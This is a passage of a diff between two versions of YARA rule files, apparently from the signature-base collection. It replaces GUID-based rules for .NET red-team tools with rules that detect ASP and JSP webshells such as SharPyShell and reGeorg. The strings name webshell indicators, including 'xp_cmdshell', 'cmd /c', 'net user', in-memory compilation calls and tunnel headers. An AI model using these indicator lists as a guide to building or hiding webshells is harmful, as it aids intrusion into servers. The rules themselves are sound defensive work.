+		$jsp6 = "getValue" fullword wide ascii
+		$jsp7 = "getBytes" fullword wide ascii
+		$perl1 = "PerlScript" fullword
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		(( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and filesize <300KB and ($input_http or all of ($input_form*)) and all of ($exec_proc*) and any of ($exec_shell*)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpwitness : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASP_Runtime_Compile : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "ASP webshell compiling payload in memory at runtime, e.g. sharpyshell"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5e707da6-b2dd-511e-89ad-d19b93e8fca6"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/rasta-mouse/SharpWitness"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2869-L2883"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7339e77168c23cc218892db37fad0a6806b15d57a83b75b5da53c2f5e04b327d"
+		id = "5da9318d-f542-5603-a111-5b240f566d47"
+		date = "2021-01-11"
+		modified = "2023-04-05"
+		reference = "https://github.com/antonioCoco/SharPyShell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L5075-L5173"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e826c4139282818d38dcccd35c7ae6857b1d1d01"
+		hash = "e20e078d9fcbb209e3733a06ad21847c5c5f0e52"
+		hash = "57f758137aa3a125e4af809789f3681d1b08ee5b"
+		hash = "bd75ac9a1d1f6bcb9a2c82b13ea28c0238360b3a7be909b2ed19d3c96e519d3d"
+		hash = "e44058dd1f08405e59d411d37d2ebc3253e2140385fa2023f9457474031b48ee"
+		hash = "f6092ab5c8d491ae43c9e1838c5fd79480055033b081945d16ff0f1aaf25e6c7"
+		hash = "dfd30139e66cba45b2ad679c357a1e2f565e6b3140a17e36e29a1e5839e87c5e"
+		hash = "89eac7423dbf86eb0b443d8dd14252b4208e7462ac2971c99f257876388fccf2"
+		hash = "8ce4eaf111c66c2e6c08a271d849204832713f8b66aceb5dadc293b818ccca9e"
+		logic_hash = "6699a44e396eedebb3bafa0e89c3b6d080586a158ed056ec7220bdf2ad764444"
 		score = 75
-		quality = 85
+		quality = 19
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "b9f6ec34-4ccc-4247-bcef-c1daab9b4469" ascii wide
-		$typelibguid0up = "B9F6EC34-4CCC-4247-BCEF-C1DAAB9B4469" ascii wide
+		$payload_reflection1 = "System" fullword nocase wide ascii
+		$payload_reflection2 = "Reflection" fullword nocase wide ascii
+		$payload_reflection3 = "Assembly" fullword nocase wide ascii
+		$payload_load_reflection1 = /[."']Load\b/ nocase wide ascii
+		$payload_load_reflection2 = /\bGetMethod\(("load|\w)/ nocase wide ascii
+		$payload_compile1 = "GenerateInMemory" nocase wide ascii
+		$payload_compile2 = "CompileAssemblyFromSource" nocase wide ascii
+		$payload_invoke1 = "Invoke" fullword nocase wide ascii
+		$payload_invoke2 = "CreateInstance" fullword nocase wide ascii
+		$payload_xamlreader1 = "XamlReader" fullword nocase wide ascii
+		$payload_xamlreader2 = "Parse" fullword nocase wide ascii
+		$payload_xamlreader3 = "assembly=" nocase wide ascii
+		$payload_powershell1 = "PSObject" fullword nocase wide ascii
+		$payload_powershell2 = "Invoke" fullword nocase wide ascii
+		$payload_powershell3 = "CreateRunspace" fullword nocase wide ascii
+		$rc_fp1 = "Request.MapPath"
+		$rc_fp2 = "<body><mono:MonoSamplesHeader runat=\"server\"/>" wide ascii
+		$asp_input1 = "request" fullword nocase wide ascii
+		$asp_input2 = "Page_Load" fullword nocase wide ascii
+		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
+		$asp_input4 = "\\u0065\\u0071\\u0075" wide ascii
+		$asp_input5 = "\\u0065\\u0073\\u0074" wide ascii
+		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
+		$asp_xml_method1 = "GET" fullword wide ascii
+		$asp_xml_method2 = "POST" fullword wide ascii
+		$asp_xml_method3 = "HEAD" fullword wide ascii
+		$asp_form1 = "<form " wide ascii
+		$asp_form2 = "<Form " wide ascii
+		$asp_form3 = "<FORM " wide ascii
+		$asp_asp = "<asp:" wide ascii
+		$asp_text1 = ".text" wide ascii
+		$asp_text2 = ".Text" wide ascii
+		$sus_refl1 = " ^= " wide ascii
+		$sus_refl2 = "SharPy" wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		(( filesize <50KB and any of ($sus_refl*)) or filesize <10KB) and ( any of ($asp_input*) or ($asp_xml_http and any of ($asp_xml_method*)) or ( any of ($asp_form*) and any of ($asp_text*) and $asp_asp)) and not any of ($rc_fp*) and (( all of ($payload_reflection*) and any of ($payload_load_reflection*)) or ( all of ($payload_compile*) and any of ($payload_invoke*)) or all of ($payload_xamlreader*) or all of ($payload_powershell*))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Rexcrypter : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASP_SQL : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "ASP webshell giving SQL access. Might also be a dual use tool."
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5ebbeab3-3e93-5544-8f74-3d1b47335d8b"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/syrex1013/RexCrypter"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2885-L2899"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "82edeed1b6641c45ab7e41eb0d98416760c3af9998bf391905192d732e658cc1"
+		id = "e534dcb9-40ab-544f-ae55-89fb21c422e9"
+		date = "2021-03-14"
+		modified = "2023-07-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L5175-L5356"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "216c1dd950e0718e35bc4834c5abdc2229de3612"
+		hash = "ffe44e9985d381261a6e80f55770833e4b78424bn"
+		hash = "3d7cd32d53abc7f39faed133e0a8f95a09932b64"
+		hash = "f19cc178f1cfad8601f5eea2352cdbd2d6f94e7e"
+		hash = "cafc4ede15270ab3f53f007c66e82627a39f4d0f"
+		logic_hash = "c59250065c4be267746f716f922007b638706a76579af6509c8e97d0cee03f33"
 		score = 75
-		quality = 85
+		quality = -84
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "10cd7c1c-e56d-4b1b-80dc-e4c496c5fec5" ascii wide
-		$typelibguid0up = "10CD7C1C-E56D-4B1B-80DC-E4C496C5FEC5" ascii wide
+		$sql1 = "SqlConnection" fullword wide ascii
+		$sql2 = "SQLConnection" fullword wide ascii
+		$sql3 = "System" fullword wide ascii
+		$sql4 = "Data" fullword wide ascii
+		$sql5 = "SqlClient" fullword wide ascii
+		$sql6 = "SQLClient" fullword wide ascii
+		$sql7 = "Open" fullword wide ascii
+		$sql8 = "SqlCommand" fullword wide ascii
+		$sql9 = "SQLCommand" fullword wide ascii
+		$o_sql1 = "SQLOLEDB" fullword wide ascii
+		$o_sql2 = "CreateObject" fullword wide ascii
+		$o_sql3 = "open" fullword wide ascii
+		$a_sql1 = "ADODB.Connection" fullword wide ascii
+		$a_sql2 = "adodb.connection" fullword wide ascii
+		$a_sql3 = "CreateObject" fullword wide ascii
+		$a_sql4 = "createobject" fullword wide ascii
+		$a_sql5 = "open" fullword wide ascii
+		$c_sql1 = "System.Data.SqlClient" fullword wide ascii
+		$c_sql2 = "sqlConnection" fullword wide ascii
+		$c_sql3 = "open" fullword wide ascii
+		$sus1 = "shell" fullword nocase wide ascii
+		$sus2 = "xp_cmdshell" fullword nocase wide ascii
+		$sus3 = "aspxspy" fullword nocase wide ascii
+		$sus4 = "_KillMe" wide ascii
+		$sus5 = "cmd.exe" fullword wide ascii
+		$sus6 = "cmd /c" fullword wide ascii
+		$sus7 = "net user" fullword wide ascii
+		$sus8 = "\\x2D\\x3E\\x7C" wide ascii
+		$sus9 = "Hacker" fullword wide ascii
+		$sus10 = "hacker" fullword wide ascii
+		$sus11 = "HACKER" fullword wide ascii
+		$sus12 = "webshell" wide ascii
+		$sus13 = "equest[\"sql\"]" wide ascii
+		$sus14 = "equest(\"sql\")" wide ascii
+		$sus15 = { e5 bc 80 e5 a7 8b e5 af bc e5 }
+		$sus16 = "\"sqlCommand\"" wide ascii
+		$sus17 = "\"sqlcommand\"" wide ascii
+		$slightly_sus3 = "SHOW COLUMNS FROM " wide ascii
+		$slightly_sus4 = "show columns from " wide ascii
+		$tagasp_short1 = /<%[^"]/ wide ascii
+		$tagasp_short2 = "%>" wide ascii
+		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+		$tagasp_long10 = "<%@ " wide ascii
+		$tagasp_long11 = /<% \w/ nocase wide ascii
+		$tagasp_long12 = "<%ex" nocase wide ascii
+		$tagasp_long13 = "<%ev" nocase wide ascii
+		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+		$php1 = "<?php"
+		$php2 = "<?="
+		$jsp1 = "=\"java." wide ascii
+		$jsp2 = "=\"javax." wide ascii
+		$jsp3 = "java.lang." wide ascii
+		$jsp4 = "public" fullword wide ascii
+		$jsp5 = "throws" fullword wide ascii
+		$jsp6 = "getValue" fullword wide ascii
+		$jsp7 = "getBytes" fullword wide ascii
+		$perl1 = "PerlScript" fullword
+		$asp_input1 = "request" fullword nocase wide ascii
+		$asp_input2 = "Page_Load" fullword nocase wide ascii
+		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
+		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
+		$asp_xml_method1 = "GET" fullword wide ascii
+		$asp_xml_method2 = "POST" fullword wide ascii
+		$asp_xml_method3 = "HEAD" fullword wide ascii
+		$asp_form1 = "<form " wide ascii
+		$asp_form2 = "<Form " wide ascii
+		$asp_form3 = "<FORM " wide ascii
+		$asp_asp = "<asp:" wide ascii
+		$asp_text1 = ".text" wide ascii
+		$asp_text2 = ".Text" wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		(( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and ( any of ($asp_input*) or ($asp_xml_http and any of ($asp_xml_method*)) or ( any of ($asp_form*) and any of ($asp_text*) and $asp_asp)) and (6 of ($sql*) or all of ($o_sql*) or 3 of ($a_sql*) or all of ($c_sql*)) and (( filesize <150KB and any of ($sus*)) or ( filesize <5KB and any of ($slightly_sus*)))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpersist : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASP_Scan_Writable : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "ASP webshell searching for writable directories (to hide more webshells ...)"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "0c181186-7bb4-502b-8937-60cfd88ce689"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/fireeye/SharPersist"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2901-L2915"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "85a96c0fcbbc0ddb2fd0eab77c33976345120e575e5954e35bb4a61ff534b15a"
+		id = "1766e081-0591-59ab-b546-b13207764b4d"
+		date = "2021-03-14"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L5358-L5501"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2409eda9047085baf12e0f1b9d0b357672f7a152"
+		hash = "af1c00696243f8b062a53dad9fb8b773fa1f0395631ffe6c7decc42c47eedee7"
+		logic_hash = "80969fd0c27903dabf08a250a47971725ac5762fd2f9afd96167b8f88f277348"
 		score = 75
-		quality = 85
+		quality = -114
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "9d1b853e-58f1-4ba5-aefc-5c221ca30e48" ascii wide
-		$typelibguid0up = "9D1B853E-58F1-4BA5-AEFC-5C221CA30E48" ascii wide
+		$scan1 = "DirectoryInfo" nocase fullword wide ascii
+		$scan2 = "GetDirectories" nocase fullword wide ascii
+		$scan3 = "Create" nocase fullword wide ascii
+		$scan4 = "File" nocase fullword wide ascii
+		$scan5 = "System.IO" nocase fullword wide ascii
+		$scan6 = "CanWrite" nocase fullword wide ascii
+		$scan7 = "Delete" nocase fullword wide ascii
+		$sus1 = "upload" nocase fullword wide ascii
+		$sus2 = "shell" nocase wide ascii
+		$sus3 = "orking directory" nocase fullword wide ascii
+		$sus4 = "scan" nocase wide ascii
+		$tagasp_short1 = /<%[^"]/ wide ascii
+		$tagasp_short2 = "%>" wide ascii
+		$tagasp_classid1 = "72C24DD5-D70A-438B-8A42-98424B88AFB8" nocase wide ascii
+		$tagasp_classid2 = "F935DC22-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid3 = "093FF999-1EA0-4079-9525-9614C3504B74" nocase wide ascii
+		$tagasp_classid4 = "F935DC26-1CF0-11D0-ADB9-00C04FD58A0B" nocase wide ascii
+		$tagasp_classid5 = "0D43FE01-F093-11CF-8940-00A0C9054228" nocase wide ascii
+		$tagasp_long10 = "<%@ " wide ascii
+		$tagasp_long11 = /<% \w/ nocase wide ascii
+		$tagasp_long12 = "<%ex" nocase wide ascii
+		$tagasp_long13 = "<%ev" nocase wide ascii
+		$tagasp_long20 = /<(%|script|msxsl:script).{0,60}language="?(vb|jscript|c#)/ nocase wide ascii
+		$tagasp_long32 = /<script\s{1,30}runat=/ wide ascii
+		$tagasp_long33 = /<SCRIPT\s{1,30}RUNAT=/ wide ascii
+		$php1 = "<?php"
+		$php2 = "<?="
+		$jsp1 = "=\"java." wide ascii
+		$jsp2 = "=\"javax." wide ascii
+		$jsp3 = "java.lang." wide ascii
+		$jsp4 = "public" fullword wide ascii
+		$jsp5 = "throws" fullword wide ascii
+		$jsp6 = "getValue" fullword wide ascii
+		$jsp7 = "getBytes" fullword wide ascii
+		$perl1 = "PerlScript" fullword
+		$asp_input1 = "request" fullword nocase wide ascii
+		$asp_input2 = "Page_Load" fullword nocase wide ascii
+		$asp_input3 = "UmVxdWVzdC5Gb3JtK" fullword wide ascii
+		$asp_xml_http = "Microsoft.XMLHTTP" fullword nocase wide ascii
+		$asp_xml_method1 = "GET" fullword wide ascii
+		$asp_xml_method2 = "POST" fullword wide ascii
+		$asp_xml_method3 = "HEAD" fullword wide ascii
+		$asp_form1 = "<form " wide ascii
+		$asp_form2 = "<Form " wide ascii
+		$asp_form3 = "<FORM " wide ascii
+		$asp_asp = "<asp:" wide ascii
+		$asp_text1 = ".text" wide ascii
+		$asp_text2 = ".Text" wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <10KB and (( any of ($tagasp_long*) or any of ($tagasp_classid*) or ($tagasp_short1 and $tagasp_short2 in ( filesize -100.. filesize )) or ($tagasp_short2 and ($tagasp_short1 in (0..1000) or $tagasp_short1 in ( filesize -1000.. filesize )))) and not (( any of ($perl*) or $php1 at 0 or $php2 at 0) or ((#jsp1+#jsp2+#jsp3)>0 and (#jsp4+#jsp5+#jsp6+#jsp7)>0))) and ( any of ($asp_input*) or ($asp_xml_http and any of ($asp_xml_method*)) or ( any of ($asp_form*) and any of ($asp_text*) and $asp_asp)) and 6 of ($scan*) and any of ($sus*)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_CVE_2019_1253 : FILE
+rule SIGNATURE_BASE_WEBSHELL_JSP_Regeorg : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Webshell regeorg JSP version"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "3e18b533-1b85-5eaf-bb3d-aa5b90fd2e28"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/padovah4ck/CVE-2019-1253"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2917-L2931"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "964b3c21297295833a702160fc292dcbb06573e5341b81dfc05b641246c4b019"
+		id = "cbb90005-d8f8-5c64-85d1-29e466f48c25"
+		date = "2021-01-24"
+		modified = "2023-04-05"
+		reference = "https://github.com/sensepost/reGeorg"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L5503-L5553"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6db49e43722080b5cd5f07e058a073ba5248b584"
+		hash = "650eaa21f4031d7da591ebb68e9fc5ce5c860689"
+		hash = "00c86bf6ce026ccfaac955840d18391fbff5c933"
+		hash = "6db49e43722080b5cd5f07e058a073ba5248b584"
+		hash = "9108a33058aa9a2fb6118b719c5b1318f33f0989"
+		logic_hash = "0fc038262f6e0463c45ef90bd01d08269bc34d3859d1b61904cc6de03db7c721"
 		score = 75
-		quality = 85
+		quality = 50
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "584964c1-f983-498d-8370-23e27fdd0399" ascii wide
-		$typelibguid0up = "584964C1-F983-498D-8370-23E27FDD0399" ascii wide
+		$jgeorg1 = "request" fullword wide ascii
+		$jgeorg2 = "getHeader" fullword wide ascii
+		$jgeorg3 = "X-CMD" fullword wide ascii
+		$jgeorg4 = "X-STATUS" fullword wide ascii
+		$jgeorg5 = "socket" fullword wide ascii
+		$jgeorg6 = "FORWARD" fullword wide ascii
+		$cjsp_short1 = "<%" ascii wide
+		$cjsp_short2 = "%>" wide ascii
+		$cjsp_long1 = "<jsp:" ascii wide
+		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+		$cjsp_long3 = "/jstl/core" ascii wide
+		$cjsp_long4 = "<%@p" nocase ascii wide
+		$cjsp_long5 = "<%@ " nocase ascii wide
+		$cjsp_long6 = "<% " ascii wide
+		$cjsp_long7 = "< %" ascii wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <300KB and ($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and all of ($jgeorg*)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Scout : FILE
+rule SIGNATURE_BASE_WEBSHELL_JSP_HTTP_Proxy : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Webshell JSP HTTP proxy"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "cd24cca7-3bc0-5e7a-9817-dc3b26ec8358"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/jaredhaight/scout"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2933-L2947"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8bd735b4c4c3af209475b633c00fc8f01b2e9a3a5e5e29557a578d87e7bd0836"
+		id = "55be246e-30a8-52ed-bc5f-507e63bbfe16"
+		date = "2021-01-24"
+		modified = "2023-07-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L5555-L5603"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2f9b647660923c5262636a5344e2665512a947a4"
+		hash = "97c1e2bf7e769d3fc94ae2fc74ac895f669102c6"
+		hash = "2f9b647660923c5262636a5344e2665512a947a4"
+		logic_hash = "0a9aa309ca9ef19b5d2bb039906d5a610e26b61c98135d8cabf9ea5924cd46db"
 		score = 75
-		quality = 85
+		quality = 50
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "d9c76e82-b848-47d4-8f22-99bf22a8ee11" ascii wide
-		$typelibguid0up = "D9C76E82-B848-47D4-8F22-99BF22A8EE11" ascii wide
+		$jh1 = "OutputStream" fullword wide ascii
+		$jh2 = "InputStream" wide ascii
+		$jh3 = "BufferedReader" fullword wide ascii
+		$jh4 = "HttpRequest" fullword wide ascii
+		$jh5 = "openConnection" fullword wide ascii
+		$jh6 = "getParameter" fullword wide ascii
+		$cjsp_short1 = "<%" ascii wide
+		$cjsp_short2 = "%>" wide ascii
+		$cjsp_long1 = "<jsp:" ascii wide
+		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+		$cjsp_long3 = "/jstl/core" ascii wide
+		$cjsp_long4 = "<%@p" nocase ascii wide
+		$cjsp_long5 = "<%@ " nocase ascii wide
+		$cjsp_long6 = "<% " ascii wide
+		$cjsp_long7 = "< %" ascii wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <10KB and ($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and all of ($jh*)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Grouper2 : FILE
+rule SIGNATURE_BASE_WEBSHELL_JSP_Writer_Nano : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "JSP file writer"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "a9cd9a16-b2a5-5d15-af89-7a8d0f1835bb"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/l0ss/Grouper2/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2949-L2963"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0c1909e40b587d86766ff393cc056352ffaf40f2b56c3a1217b1526cc42e4eb7"
+		id = "422a18f2-d6d4-5b42-be15-1eafe44e01cf"
+		date = "2021-01-24"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L5605-L5686"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ac91e5b9b9dcd373eaa9360a51aa661481ab9429"
+		hash = "c718c885b5d6e29161ee8ea0acadb6e53c556513"
+		hash = "9f1df0249a6a491cdd5df598d83307338daa4c43"
+		hash = "5e241d9d3a045d3ade7b6ff6af6c57b149fa356e"
+		logic_hash = "8cf47fe03845f39d7ff7ba4ad8f44a879cdf1aba0869921c5adf6d7490bc4174"
 		score = 75
-		quality = 85
+		quality = 48
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "5decaea3-2610-4065-99dc-65b9b4ba6ccd" ascii wide
-		$typelibguid0up = "5DECAEA3-2610-4065-99DC-65B9B4BA6CCD" ascii wide
+		$payload1 = ".write" wide ascii
+		$payload2 = "getBytes" fullword wide ascii
+		$payload3 = ".decodeBuffer" wide ascii
+		$payload4 = "FileOutputStream" fullword wide ascii
+		$logger1 = "getLogger" fullword ascii wide
+		$logger2 = "FileHandler" fullword ascii wide
+		$logger3 = "addHandler" fullword ascii wide
+		$input1 = "getParameter" fullword ascii wide
+		$input2 = "getHeaders" fullword ascii wide
+		$input3 = "getInputStream" fullword ascii wide
+		$input4 = "getReader" fullword ascii wide
+		$req1 = "request" fullword ascii wide
+		$req2 = "HttpServletRequest" fullword ascii wide
+		$req3 = "getRequest" fullword ascii wide
+		$jw_sus1 = /getParameter\("."\)/ ascii wide
+		$jw_sus4 = "yoco" fullword ascii wide
+		$cjsp_short1 = "<%" ascii wide
+		$cjsp_short2 = "%>" wide ascii
+		$cjsp_long1 = "<jsp:" ascii wide
+		$cjsp_long2 = /language=[\"']java[\"\']/ ascii wide
+		$cjsp_long3 = "/jstl/core" ascii wide
+		$cjsp_long4 = "<%@p" nocase ascii wide
+		$cjsp_long5 = "<%@ " nocase ascii wide
+		$cjsp_long6 = "<% " ascii wide
+		$cjsp_long7 = "< %" ascii wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( any of ($input*) and any of ($req*)) and ( filesize <200 or ( filesize <1000 and any of ($jw_sus*))) and ($cjsp_short1 at 0 or any of ($cjsp_long*) or $cjsp_short2 in ( filesize -100.. filesize ) or ($cjsp_short2 and ($cjsp_short1 in (0..1000) or $cjsp_short1 in ( filesize -1000.. filesize )))) and (2 of ($payload*) or all of ($logger*))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Casperstager : FILE
+rule SIGNATURE_BASE_WEBSHELL_JSP_Generic_Tiny : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Generic JSP webshell tiny"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "0ad18d2b-b7cc-5316-a8e8-b05d4439b8e1"
-		date = "2020-12-28"
-		modified = "2023-04-06"
-		reference = "https://github.com/ustayready/CasperStager"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2965-L2981"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6ac00affab78024da7a1cfa6e6fd43c6a8f3c7fec59499a85c1330ee593488eb"
+		id = "7535ade8-fc65-5558-a72c-cc14c3306390"
+		date = "2021-01-07"
+		modified = "2023-04-05"
+		reference = "Internal Research"
